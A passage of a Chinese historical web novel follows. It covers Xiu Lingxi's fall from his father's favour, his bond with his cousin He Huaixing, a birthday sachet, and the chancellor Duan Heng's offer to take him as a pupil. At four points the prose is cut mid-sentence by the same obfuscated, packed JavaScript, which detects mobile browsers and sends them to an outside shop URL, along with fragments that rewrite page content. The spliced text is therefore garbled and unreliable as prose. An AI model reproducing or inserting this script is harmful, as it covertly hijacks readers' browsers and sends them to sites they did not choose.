叶琴瑶吩咐道:“邓嬷嬷,府里入冬的碳采购份例有限,离开春还有段时间呢,能省一点就是一点罢。” 一直跟在叶琴瑶身边的嬷嬷,恭敬道:“是,夫人。府上也的确是木炭紧缺。” “退下吧。” 周嬷嬷应是。 邓嬷嬷扶着大夫人坐下,道:“夫人也不必太忧心,大公子毕竟是嫡子,将军多少也还是要顾及太史令的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349325|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子。” 叶琴瑶嘲弄一笑,说:“父亲的面子?早年他要纳人进府,不也还是驳了我父亲的脸面。令远这般愚钝不争气,将军看不上,我替他谋划再多也无济于事。” 邓嬷嬷劝慰道:“大公子还小,来日方长,他自会明白您的苦心。” 叶琴瑶深叹一口气,“但愿如此。” 待到夜里,修令曦想起来一桩事,唤了周嬷嬷来,问:“手炉有给表妹送去吗?” 周嬷嬷回:“晌午就已经派丫头送过去了。” “那就好。” 修令曦安心了。 何怀幸收到丫鬟送来的手炉,精炼的紫铜锻造出来的手炉甚是漂亮,上面的花叶雕镂巧妙细致,独具匠心。 看得出来,是个好东西。 可惜,她用不上,因为没有炭。 来人没说是谁送的,敲门放下就走了。 何怀幸一时也猜不到是谁,总之不会是舅母。 那时修令曦是将军府倍受宠爱的二公子,她只是个寄人篱下的表小姐,在将军府无人问津,亦无人可依靠,和她这位表哥关系也并不亲近,自然也不会想到是他送的。 毕竟,她和二哥完全没交集。 ——转折出现在惠仁九年。 那一年,他九岁,她八岁。 年初边境大战结束,他同舅舅凯旋,正是春风得意之时。 二哥的母亲是花楼舞女,长相极为出众,且一舞惊人。 她虽然出身不好,但颇得她舅舅喜爱。 崇文年间,边境无战事,舅舅爱去那些烟花柳巷,看上了二哥的母亲,执意要纳她,为此与舅母生了嫌隙,还得罪了岳丈太史令叶大人。 二哥的母亲进门后与舅舅如胶似漆,很快她便有了身孕,但二哥的母亲生产时不顺利,身体耗损严重,没两天她便去世了。 舅舅很是偏爱她这个表哥,从小带在身边,连军营操练,上阵领兵也带着,事事亲力教导。 对此舅母怨念深重,但舅舅置若罔闻,一门心思想培养二哥做他自己的接班人。 但就从这一年开始,二哥从此不受舅舅待见。 原本备受宠爱的将军府二公子,一夕之间成了弃子,在府里的地位一落千丈,竟然沦落到和她住在西角院。 修令曦记得,那日父亲从外头回来,脸色阴沉,没缘由的大发雷霆,狠狠骂了他一顿,把他从头到脚贬了个体无完肤,不管怎么看都像是鸡蛋里挑骨头。 父亲看他的眼神冷如霜雪,甚至带着一股莫名其妙来的恨意,像看仇人似的。 他呆愣的反驳不出一句话。 从小到大,父亲对他没有说过一句重话。 大哥站在父亲身后,一脸嘚瑟。 三弟在一旁事不关己,低头不语,并不在意。 他跪在父亲跟前,父亲瞧也不瞧他一眼,带着大哥和二哥走开,避他如瘟疫。 父亲罚他跪了一夜祠堂,再也没同他说过一句话。 众人摸不着头脑,往日将军最喜爱的二公子,何时有过如此重罚。 旁人不知,修令曦更是不知。 可他怎么也想不明白,为什么会突然之间这样呢? 明明前一日,父亲还摸他头,夸他功夫学得很扎实,说虎父无犬子,将来他一定会超越他,说他会是他的骄傲。 后来他连父亲的面基本见不到了。 他知道,父亲是彻底厌弃了他。 大夫人自然是乐得一见,笑着让他把院子腾出来给令怡住,让他迁去西边角落的小院子里住,并告诉他是父亲的意思。 他沉默良久,搬去了西角院,久无人居住的屋内,简陋不堪。 面对突如其来的变故,他都没来得及适应,日渐消沉。 8. 旧事(三) 那时候修令曦心中烦闷,整个人冷冰冰的,内心充满了悲愤、不解。 他哭过,也自我厌弃过。 直到某一日,一个寻常的早晨,他打开房门,开始在院子里练功。 他怕父亲知道教他的功夫没有好好练,会更加讨厌他。 等到对面的门打开,石板阶上站着一个小姑娘,她梳着丱髻,拘谨地靠近他,怯生生喊他表哥。 她看起来胆小,又敢忽视他不友善的目光,直直望着他。 在他消沉迷茫的那段日子,那个从来没说过话的表妹突然出现,安静陪着他。 人的自尊心总是不合时宜的出现。 修令曦讨厌这样的同情和怜悯,嫌她碍眼,凶巴巴赶她。 可是他应该感激她曾经陪伴他的那段日子,在他那段灰暗的人生中,因为她让他不至于一个人孤冷地度过。 她会用少得可怜的例银,拜托府里的侍女帮她买话本。 修令曦在院子里练功时,她就坐在旁边的桂花树下,捧着书一遍一遍的看。 时间长了,她也会和他说一些话,问他吃饭了吗? 修令曦通常板着脸不回答。 有时她絮絮叨叨的,讲她看过的话本子,也不管他愿不愿意听,有时也会抱怨府里的伙食太差。 “豆腐好难吃啊,为什么每天都是豆腐,再吃下去,可能我就要变成一块豆腐了。” 修令曦根本没心情听她说话,他心里只有怎么样才能让父亲回心转意。 何怀幸孤居西角院已久,能有个年龄相仿的人相伴,对她来说是一件很不错的事情。 这个二哥虽然总是冷脸有些讨厌,但倒是不曾对她展示过什么恶意,渐渐的,她也就不那么拘束了,想说什么话,就说了。 尽管二哥从来不听,但对着人讲话,跟对着空气自言自语比还是好一点。 大概是这些年,她一个人实在太无聊了,连个说话的伴也没有,所以看见修令曦,就忍不住想说话。 有时二哥烦了,也会恼她,他好看的眼睛会故意眯起来,危险地看着她。 “你再啰嗦,信不信我把你跟豆腐一样捏碎。” 她噢一声,知道他是在吓唬自己。 二哥以为自己这样看起来很凶,其实他看起来更像一只纸老虎,她说:“二哥你很厉害,你的眼睛也很漂亮。” 他却很生气地道:“你是听不懂人话吗?离我远一点!滚!” 自从父亲不见他,修令曦就特别讨厌别人评价他的眼睛,因为父亲对他说过,最恨他有一双和他母亲那么像的眼睛。 他始终没有在外人面前暴露出太多的情绪,但是这一刻,他那些积压的情绪都喊出来了,不顾失态,发泄在一个毫不相干的人身上。 何怀幸静静看着他,似乎有些被吓到。 他掉进一汪无辜的眼波中,忽然有些愧疚,这和她有什么关系呢? 修令曦眼神闪烁,别过脸,只留给她冷漠绷直的侧脸。 可她又完全忽视他的怒火,好像并不在意,前言不搭后语,支着脑袋,惆怅地说:“我要真是一块豆腐就好了。” 修令曦转过头来看她,简直被她无厘头的话气死,他更情愿,她现在骂他一句。 他一股怨气憋在胸口,上不去下不来,真想给她一枪来个痛快。 少年眼尾带着些狠厉,尖锐的枪头直逼她眼前,凌厉的空气扑面而来。 何怀幸眨了眨眼,吓得挪动了小半步。 “二哥,你有点太突然了。” 他面无表情道:“难不成杀敌之前,你还要特意提前通知别人,我现在杀来你了。” “我又不杀人。” 修令曦道:“我杀。” “噢,你又不会杀我。”何怀幸望着他,说:“因为,我不是你的敌人。” 红缨枪直指她,少年眉目清秀,稚气未脱。 “我会,所以你最好,”他恶狠狠盯着她,说:“别招惹我,离我远一点。” 她无动于衷:“噢。” 修令曦被她无所谓的态度,堵得一时竟说不出话,像重重一拳打在棉花上的感觉。 他气急败坏收枪回屋,哐一声把门重重甩上,剩何怀幸一个人在院子里发呆。 这样的场景时有发生,她永远答非所问,不管他如何冷语,对方都能做到一个东风吹马耳。 在此之前,他从来不知道,他这个表妹是如此话多。 他被吵得烦躁,无计可施。 她就低着头笼袖,佯装成畏畏缩缩的模样,好像被他欺负一样。 可明明他才是那个被侵略领地的人。 在他的印象里,何怀幸是一抹瘦小沉寂的身影,她安安静静,浅淡到让人察觉不到她的存在。 与这种聒噪的反差太大了。 时间长了,他已经明白,多说无益。 最后他甚至可以做到心平气和,任由何怀幸跟着进他的屋子里,果然,人永远不知道自己的下限在哪里。 大多时候她很安静,甚至是乖巧可爱。 只是会突然冒出好多没头没脑话,朝他絮絮叨叨说个不停。 听着她在旁边啰啰嗦嗦,时间一天一天的过去,有那么些瞬间,他竟然也不觉得难熬。 何怀幸:“二哥,你看那朵云,真像块大肥肉。” 修令曦没搭话,收枪时抬头看了看天。 哪像了。 她又说:“想吃的东西太多了,绿豆糕、红豆糕、栗子糕……芝麻烧饼、蜜饯果子、大鸡腿……” 何怀幸坐在台阶上,掰着手指头数。 好吃鬼。 修令曦叹了口气不作声,在心里默默腹诽。 何怀幸还在那喋喋不休,话一句接一句蹦出来,完全没有逻辑。 “这上面的画好漂亮,真想亲眼去看一看。” “可是没有银子钱怎么办?” “天上到底有没有神仙?” “好大一只蝴蝶。” “云在飘。” “急急如律令,惊天动地,泣鬼神。” …… 她捧着脑袋胡言乱语,偶尔哼些不知名的小曲儿。 他在一旁沉默地练枪,两个耳朵塞满了她一堆前言不搭后语的话。 几只鸟雀飞过,停在屋檐上。 天色清明,风卷云舒,院子里的两人,一立一坐,一动一静,好像互不干扰。 修令曦振作起来,保持从前培养的习惯,每日晨起练武,他也会去京郊营找其他将领们请教。 一开始大家没有什么顾虑,毕竟父子哪有隔夜仇啊,便还是同往常一样对他。 结果父亲直接下令,不允他再踏入麾下军营,也不许营中将士同他亲近。 其实军中不少人问过修令曦,父子之间怎么闹成这样,都让他去服个软。 黄统领用力一拍他肩膀,声音浑厚道:“将军一向大气,不拘小节,咱们男子汉大丈夫犯了错,服个软认错,有什么大不了的。” 其他将士也应和说:“是啊,去认个错就好了,父子间能有什么天大的仇和怨。” 修令曦沉默不作回答,次数多了,大家看他这样也就不再问,私下说他是头犟驴。 他不是没有去认错服软,是父亲根本不见他,现在就连京郊营他也不能去了。 修令曦心中愤懑,只能通过不断苦练功夫,让自己变强大,希望有一天父亲能看到他。 十岁生辰那天,他闷在屋里没出去,直到敲门声响起。 打开门,是何怀幸站在外面,她背着手笑,露出两个不对称、深浅不一的梨涡。 修令曦没说话,一副冷淡的表情。 何怀幸从后背伸出手,递给他一只香囊。 青竹色丝线在他眼前晃荡,深绿色的流苏垂在下面,香囊收口处两边衔接白玉串珠。 他很明显地看到上面错乱的针脚,刺绣里加了极细的金线勾勒出来竹叶的形状,像是在阳光照耀下浮动的光影。 修令曦没想到何怀幸会送他生辰礼,平日冷着的脸,变得错愕,双目愣愣地看着,眼中热意上涌。 他以为没有人会再记得他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349326|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生辰了。 修令曦神色很快恢复如常,默然片刻,问:“为什么?” 何怀幸以为他不喜欢,说:“虽然丑了点,不过我特意在香囊里面放了艾草,还加了一些石菖蒲和薄荷,芳香避秽,开窍醒神,驱蚊除虫,还保岁岁平安。 她认真地道:“二哥,生辰快乐。我绣这香囊可不容易,二哥你定要好好爱惜它。” 他重复道:“为什么?” 何怀幸把香囊捧在手上给他,道:“因为,我们是一样的人。” 修令曦泠然道:“我不需要。” 何怀幸的笑意逐渐消散,她眨了眨眼睛,故作坚强,强硬地扯出一个笑,道:“二哥不要,那就扔了吧,没有关系。” 修令曦才意识到说错了话,干涩道:“我不是那个意思。” 何怀幸见他收下,心落地,道:“那二哥我先回去了。” 修令曦手里握着香囊,低声道:“多谢。” 何怀幸说:“不客气。” 说完,她就转身走了。 何怀幸都没来得及告诉他,为了这份生辰礼,她很早就开始准备了,例银都留着没有买话本子。 她揣着攒的钱,偷摸从狗洞钻出去,逛了很久都没有选到合适的礼物。终于在一座道观门口,她碰见一个老道士在卖香囊。 老道士见她停下观望,招呼她:“小姑娘,过来看看,在祖师爷座下奉过香火的,可以保平安,很管用的。” 何怀幸走上前,蹲在他摊子前,看着眼前各种样式的香囊,她说:“我想送个给我兄长,他从前庆生都是热热闹闹的,现在都没人给他过生辰了。他是习武的,将来说不定要当大将军。我应该给他送什么好?” 老道士问:“那你呢?” 何怀幸说:“我从来不过生辰的。” 老道士又问:“他长得怎么样?” 何怀幸一头雾水,答:“我二哥长得很好看的。” 老道士说:“那就送个竹叶纹样的给他,比较符合他的气质。” 何怀幸想了想,好像还真是,顿时对这个老道士肃然起敬,又听见他说:“可惜,我这没有。” “啊?”何怀幸觉得很遗憾。 老道士从一边的木箱子里掏出一小包东西。 “不如你亲手做一个给他,更显你的心意。我这些绣线也是在祖师爷座下供过香火的,还有艾草也是在祖师爷座下种成的。” 何怀幸问:“那怎么卖?” 老道士比了一根手指,说:“一两银子。” “这么贵!”何怀幸目瞪口呆,指着香囊问:“那,你这些香囊怎么卖?” 老道士伸出手,说:“三两银子。” 何怀幸震惊,她看那些香囊做工也一般,不是很精致,寻常卖不过二三十文。 怪不得没人买他的东西。 “那算了。我没有那么多。” 见她要走,老道士连忙拉出她,说:“别急着走啊,价格好商量嘛,你有多少?” 何怀幸捏着裙衫,不好意思地说:“六十文。” 老道士松开她的手,“你这差得也太多了,足足差了九百四十文。” 何怀幸才刚走了没多远,老道士追上来,说:“等一下小姑娘。” 他气喘吁吁道:“算了,看你心诚,六十文就六十文吧。” 老道士伸手示意,说:“来,一手交钱,一手交货,买定离手,概不负责。” 何怀幸掏出全部家当给他,接过那一包东西,心里觉得奇怪,但是等她反应过来,道士已经没了身影。 她揣着东西悄无声息回到院子,摆弄那一堆东西,总感觉哪里不对劲。 何怀幸夜夜挑灯做香囊,她不善女工,手一不留神就被针扎出血,做完这个香囊,她都不知道被扎了多少次。 有一回扎得深了,血迹染在香囊背面去不掉,她灵机一动用多余的金线在上面刺了一簇桂花,遮住血污处的部分。 …… 修令曦合上门,背靠在门框上,捏着香囊,眼泪毫无征兆一颗一颗砸下来。 9. 旧事(四) 修令曦一遍一遍地想起,父亲答应每年生辰都会陪他一起过,哪怕他很忙,无论怎样都不曾忘记过。 香囊的气味钻进鼻腔,他轻轻嗅了嗅,艾叶散发的气味清香不刺鼻,却让人清醒。 去年,今年,父亲都忘记了。 他慢慢滑坐在地上,把脸埋在膝盖弯里,呜咽着:“父亲你说过,答应我的……你从不食言的。” 到了晚上,修令曦才猛然想起,今日是他生辰,那么也是表妹的。 ——他和怀幸是同月同日出生。 何怀幸在屋里看旧话本,外面有人敲门。 她起身开门,修令曦端着一碗面在门口。 “二哥,你?” 修令曦的手指紧紧扣住托盘下方,道:“生辰快乐,怀幸。” 何怀幸没有什么太多的表情,说:“没事的二哥你吃吧,我早就不过生辰了。” 修令曦不请自入,越过她,背对着她说:“我已经吃过了。” 何怀幸怀疑,“真的吗?” “真的。”修令曦把面给她放在桌上,说:“里面有你想吃的鸡腿,趁热吃,一会面汤干了,就不好吃了。” 说完他就转身走了,全程几乎没看她。 何怀幸坐在屋内,烛火烧得啪一声响,火星闪烁,她盯着面发呆,并不动筷,她已经不记得吃生辰面是什么感受了。 从前每年生辰,父亲会亲手给她做长寿面,会煮她爱吃的菜,摸着她的头说:“我们皎皎,又长大一岁了。” 母亲自缢的前一晚,叫着她的小名,抱着她,哼唱起父亲最爱的那首诗谣。 “山之高,月出小,月之小,何皎皎。我有所思在远道,一日不见兮,我心悄悄。”① 深冬夜寒,窗外一弯弦月朗朗悬照。 她在母亲温暖的怀里,听她说: “你的名字是母亲在知道怀了你之后就取了,因为怀着你的每一日母亲都很幸福,那时我日日夜夜在观音像前,祈盼你平安来到这个世上。我想再告诉你一次,你的父亲很爱你。你出生的时候是晚上,母亲生完你,就看见那窗外的月亮,很亮,很亮,那是上弦月,它寓意着希望与期待,秋月皎洁,你父亲抱着你,哼着诗,月光就照在你们身上,那是我一生中最幸福的时候。” “怀其有幸,得见明月,皎皎如斯。母亲一生无憾,只恨命运太残忍,从不曾垂怜,一一剥夺我所爱之人,令我此生不得圆满。” “你父亲用他喜欢的诗替你取了小名,自从你父亲病逝,母亲每次叫你的小名,都是在想念你父亲,一句一念想。” “皎皎,以后再也没人会叫你的小名了,将来你要是遇见让你欢喜的人,一定要告诉他。那样,你父亲也会知道,他会保佑你的。” “人之本性,趋利避害。但是你不要轻易哭,只要活着就会有无限希望。上弦月是新月走向满月,只要挺过这个时候,一切都会充满希望的。母亲也会保佑我的怀幸,一生顺遂,长命百岁。” 她听不懂母亲的深意,母亲温柔地笑,拥着她,哄她睡觉。 母亲离世之后,她在这座寂静无声的院子里,夜夜枯坐到天明。 从此她只能困在这里,孤身望明月。 月盈月亏,对影自怜。 何怀幸满脸泪痕,仰头看向窗外明月。 上弦月至,很快,就又是月圆了。 她低头边哭边挑面送进入口中,清汤面混着咸涩的眼泪被吞下,清辉笼罩着她瘦弱的身躯。 月常圆,人难圆。 何事长向别时圆?② …… 生辰日后,她和二哥两个人反而疏离了,交集变得很少。 修令曦在耍完一套枪法后,有时习惯性回头看向院中那棵木犀树,那里已经不再出现一个低头捧着书看的身影,也不会再有人朝他说那些无厘头的话。 偶尔碰见了,她福礼致意,他回一礼,仅此而已。 一年过去了,二哥始终和她保持着距离,何怀幸也从来没有见他佩戴过那只香囊。 修令曦对整个将军府里的人都很冷淡,他谁也不关心,也不需要谁的同情。 除了她的舅舅。 修令曦一心执着于父亲对他的态度,在这件事情上,他好像非要把南墙撞破才肯回头。 这日午后,修令曦读一则兵书不解其意,最后思来想去,决定去京郊营中找刘副将,结果被大哥修令远堵在城门口奚落。 “我说二弟,你一介闲人出城去做什么?” 修令曦不想理会,打算绕过他。 修令远偏偏不如他的意,骑在马上,拦在他前面,说:“父亲都说了不许你去营中,军营重地,没有父亲的许可,你敢擅入军营?二弟,违抗父令可是要受家法的,且军令如山,就算你去了,刘副将他们也不敢再同你说话。二弟,你如今可不是众星捧月的二公子,不过是路边一条野犬,父亲的弃子,你又何必想不开,自取其辱?” 修令曦仰头直视他,道:“大哥这般落井下石阻拦我,难道是在怕什么吗?” 修令远嗤笑,表情嚣张道:“我怕什么?我是将军府的嫡子,我母亲出身高门,我外祖父是太史令,如今父亲也看重我,我有什么好怕的!该怕的是你吧二弟,你不会还天真的以为父亲会对你回心转意吧?别痴心妄想了,父亲弃你如敝履,早已对你厌恶至极,没了父亲,你还有何倚仗!你的出路已经断了,哦,也不对,你可以同你母亲一般,二弟不妨重操|你母亲的旧业。你不是把花枪耍得一套一套的吗?那想必花楼卖艺一定很适合你,届时可要告诉大哥,大哥定去给你捧场。” 修令曦攥紧书卷,下巴紧绷微颤,愤恨地看向他,隐忍屈辱,说:“随意攀扯长辈,不敬尊长就是大哥的高门礼教吗?那看来大哥所谓的高门出身,也不过尔尔,鱼质龙文,不知内里,只是徒有其表。” 修令远指着他,得意道:“我懒得与你逞口舌之快,今日你想入京郊营,我偏不让,你奈我何!” 修令曦不愿同他多纠缠,径直往前走。 修令远驭马一拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349327|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缰绳,马扬蹄朝他踢去。 在马蹄落下之前,修令曦飞快旋身闪避,足尖抵地发力,朝他的方向冲过去,攀上他的手臂,借力翻身上马,立刻锁住他的喉咙。 他的动作太快,完全出乎修令远意料,他虽然比修令曦长三岁,但两人身量差不多高。 修令远用力扯了缰绳,马本身受了一些惊吓,差点将两人甩下来。 修令曦夺过缰绳控马,才免得两人摔落马蹄之下。 修令远被弟弟圈在怀里,主动权不在他手里,他又怕打斗惊马,自己控不住,得不偿失,不敢轻举妄动。 但这种憋屈的姿势,让他心感耻辱,怒道:“修令曦,你不要太过狂妄了,给我滚下去!” 修令曦控着缰绳,驾马飞奔,耳边风声呼呼。 “大哥要是不想被马蹄踩死,就别动,安分一点。” 修令远切齿咬牙没说话,一路忍着屈辱,到了京郊营,一下马当即一拳招呼在修令曦脸上。 “你是个什么东西,敢这么对我?” 修令曦被他打得趔趄,头偏向一侧,嘴角也破了皮,渗出血丝。 他捂着红肿的脸,朝营中去。 修令远心一慌,立刻拦住他。 “你不许进去!父亲是不会见你的,你快点滚,这里不欢迎你!” 两人推搡间在营外打了起来,刘副将接到通报,赶来拉架。 “两位公子把京郊营当成什么地方了,这里不是你们可以随意撒泼打滚的地方。大公子,军中禁止私自斗殴,你这是要违抗军令吗?” 修令曦已经先拉开距离停战,修令远趁机踹了一脚,他一时不防,结结实实挨了一脚。 修令曦被他踢得弯腰蜷跪在地上。 修令远收手老老实实站在刘副将面前,道:“是他挑衅在先,二弟违抗父亲的命令,硬要擅闯营中,我才不得不出手阻拦。” 刘副将并不在意,道:“大公子进去吧,将军在等你。” 修令远居高临下轻蔑地看了眼修令曦,昂首阔步离开。 修令曦还伏跪在地上,他痛得倒吸一口冷气,缓慢直起身子,拱手一礼道:“刘副将。” 刘副将的语气陌生,说:“许久不见,二公子,也变得这么不守规矩吗?” 修令曦眉宇笼尘,灰暗一片,他静立不语,腥甜的血丝粘腻在喉口。 “二公子回吧,你无令不得入营,往后还请不要如此莽撞行事,让末将难做。” 刘副将把话说完,没有丝毫停留,转身走了。 修令曦强忍眼中酸涩,黯然伤神,一路走回去。 到了城门口,他不想回府,转而徒自绕着护城河走。 天边霞光铺满,点缀在河面像金子般,磷光闪闪。 没一会儿,修令曦走累了,停下脚步,遇到一个儒雅的垂钓者独坐,修令曦在他不远处坐下歇息,偶尔观望他钓鱼。 他坐在护城河边缘,出神地望着水中夕阳浮光跃动,那人收了东西,忽然挪到他旁边坐下。 10. 师生(一) 钓鱼人下巴留着稀疏的白髯,发间夹杂着几缕白,与他对视,问:“小公子脸上怎么伤了?” 修令曦心下觉得有些莫名其妙,出于礼貌,还是回道:“走路,撞的。” “小公子,”他一副了然的样子,提起鱼竿,又问他:“你看我这鱼钩,能钓上来几条鱼?” 修令曦闻言看过去,那铁钩子是直的,他还发现这人根本没有备鱼饵。 “既无鱼饵,又无弯钩,如何垂钓?” 这怕不是个老来疯。 他说的委婉。 “小公子观察细致,但谁说垂钓者一定要用饵食弯钩了。”他哈哈一笑,摸着白髯,意有所指道:“重点在于你想钓什么,然后只需要静待就好,机缘到了,鱼儿自然会来咬钩。” 修令曦不解道:“垂钓,垂钓,不钓鱼还能钓什么?” 修令曦今日心情不佳,语气不善,颇有冒犯。 这人好似浑然不觉,依旧笑意不减,只道:“钓的自然是心中那条鱼了,只是要等有缘人来将这铁钩掰弯,才能有鱼饵垂钓。” 有缘人? 修令曦反问他:“那你心中那条鱼是什么?” 他答:“我心中唯有一条鱼。” “你看,”他指着不远处来往路过的百姓,说:“这便是我心中的那条鱼。” “为了钓上这条鱼,所以我在等你。”他看向修令曦,意味深长道:“我的有缘人便是小公子你。” “等我?”修令曦收回目光,不解其意,望向他,问:“这与我有何关系?” 太阳渐渐西沉,清风吹皱河面,涟漪层层叠起。 他道:“当然有关系了,我看公子骨骼清奇,来日必成大将。” “你还会看相?”修令曦哂笑,敏锐道:“你认识我?” 他语气赞赏道:“早有耳闻将军府的二公子年纪虽小,但不仅容貌清俊,更是武艺出众,今日一见,果真如此。” 修令曦不由警惕起来,问道:“你是谁?” 他别有深意道:“我是垂钓者,公子不是知道吗?” “我不是鱼,不会上你的钩,也不是鱼饲,断不会为人所用,更不会做别人手里的利器,背叛我父亲。” 修令曦迅速起身欲走。 “还请留步。” 那人起身用鱼竿挡住他的去路,修令曦停下来回看他,只听他道—— “惠仁七年蛮夷边部骑兵犯我边境,你父亲带兵前往,两军胶着,修将军与其几番周旋,竭力镇压,才击退蛮夷边部,至惠仁九年初平定战役,双方议和,定下盟约,经此一战我朝也损伤不小。” 那两年修令曦随父亲在原川守卫边境,蛮夷人的骑兵着实令他大开眼界。 段蘅看向他,问:“蛮夷边部不过小族,不如我朝地广人多,为何胆敢数次侵犯,我军又为什么打得如此艰难?” 修令曦心中斟酌,思忖道:“蛮夷骑兵不可小觑,我们朝排兵布阵惯用旧例,蛮夷边部正是摸清这一点,才那么嚣张。加上我军后期粮草不足,战况持久,难免军心不稳。期间大小战役不断,劳民伤财,国库空虚,我军不敢乘胜追击,这才同意议和,但这也是给了蛮夷人休养生息的机会,日后他们必当卷土重来。” 段蘅继续问道:“为什么会粮草不足?大司农拨出的军饷粮草款项,是经由陛下同将军商议过定下的,不可能出现这样的情况。” 修令曦摇头,抿唇道:“朝中之事,我不知。” “你不想知道吗?”段蘅反问他,又道:“你父亲正是因为不懂政事,只知一味随令出兵,连粮草军饷的去向都搞不清楚,此事他甚至都没有上报过,你觉得他是一个合格的将领吗?” 父亲没有上报过? 修令曦表情震惊又疑惑,他不说话了。 段蘅也不为难他,反问他:“你心中有想钓的那条鱼吗?或者说你的志向?” 谈论起志向修令曦目光坚毅,语气铿锵道:“像我父亲一样驰骋沙场,为一方将领,护一城百姓,他日红缨枪在手,策马直驱灭蛮夷。” 橘黄的光影拉长两人的身影,城门口的守卫军站得笔直,出入城门的车马人流渐渐少了。 段蘅目光悠长柔和,轻声道:“我的志向便是朝政清明,边境安定,百姓安居乐业。如此看来,我与小公子也算同道中人。既如此,何不携手共进,护这太平盛世,海晏河清。” “你都不愿意透露你的身份,我凭什么信你。”修令曦看他的眼神带着怀疑,眼中的失意难掩,道:“况且我不过总角年纪,如今又不得父亲的喜爱和教导,一无长物,不过庸庸碌碌之人,将来又能做得了什么呢?大人应该寻我的父亲或者我大哥才是。” “自是汝才难用世,岂真吾相不当侯。须知少日拏云志,曾许人间第一流。”① “你还尚年少,将来未可知,既心中有抱负,理当争取,切勿灭自己少年心气。” 段蘅将鱼钩重新甩出去,说:“我乃当朝丞相,段蘅是也。” 听到宰相名号,修令曦当场怔住,慌忙行一礼,道:“晚辈拜见丞相大人,方才言辞多有冒犯,请大人见谅。” 圣国谁人不知段蘅,他是先帝都赞誉,有松竹之风,乃真真君子的人。 “无碍,我隐瞒在先,小公子又何错之有,是我之错也。”段蘅疏朗一笑,负手而立,道:“过去除教导皇家子弟,我门下未收学生。你性情温良,小小年纪有如此抱负,又有将才之风,来日必成大器,扶大厦于将倾。今日我问你,你可愿当我的学生?” 修令曦万万没想到,他是来收门生的。 他已经不受父亲重视了,将军府以后的接班人也不可能是他,拉拢他没有任何意义。 修令曦不知,其实段蘅是提前考察过的,目标也是早就定好的。 如今朝中看似风平浪静,实则已是内忧外患,大厦欲倾,风雨欲来。 内廷蠹虫身居其位,不谋其事者甚多。陛下羸弱,痴迷长生丹,令后宫至今无所出,又因当年夺位之事,心中十分忌惮两位王爷,甚至将两位王爷赐婚一事,一拖再拖,朝臣们心中怨言颇深,两位王爷心中恐怕也是积怨已久。 双符舟又是异姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349328|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王,先帝授封,长年驻守乌城,陛下扣其女在京都作为牵制,此举令双侯多有不满。 修文因护卫陛下登基有功,现一路升至总司马,但这些年私下却和四王爷开始频频接触。 陛下信任段蘅,可对于修文将军的忠心也从未怀疑过。 将来一旦起战,帝王不得朝臣心,内廷起乱,边境堪忧,整个圣国便会分崩离析。 段蘅想要提前布局,需在军中培养出能够和他站在同一战线的人,以备能多一方牵制,确保外患无忧。 修令曦无论从性情、能力还是背景方面,都无疑是他目前最合适的选择。 他年少时已崭露头角,如今虽不受修文待见,但只要加以引导扶持,凭他自身的本领,日后想在军中占有一席之地,也不是不可以。 且修令曦性情和顺,即使遭遇变故性情依旧,没有变成一个偏激阴鸷的人,反而更加努力,可见他是坚毅之人。 此人若引导的好,不失为一个不可多得的人才。 这位有着“松气清人,竹中君子”之誉的当朝丞相,穿着简洁的衣衫,席地而坐,他看出修令曦的犹豫,淡声道:“不必着急给我答案,你若是想好了,随时来我府上寻我即可。” 修令曦心里明白,对于此时的他来说,能有这样一位老师提携是他的荣幸,只是圣国惯例,武将出身,从未有过先拜文臣为师的前例。 从前他的老师是他的父亲,父亲厌弃他之后,他便是没有老师了,大多数时候是自己看书琢磨,加上有父亲从前帮他打下的基础,只要他不懈怠、不剑走偏锋,刻苦勤奋些也必有进益,只是也只能止步于此,不会再有更大的进益了。 他如今还没正式拜别的武师,便先拜入了文臣座下,难保不会有人私下议论。 况且他一个弃子,够资格做一朝丞相的学生吗? 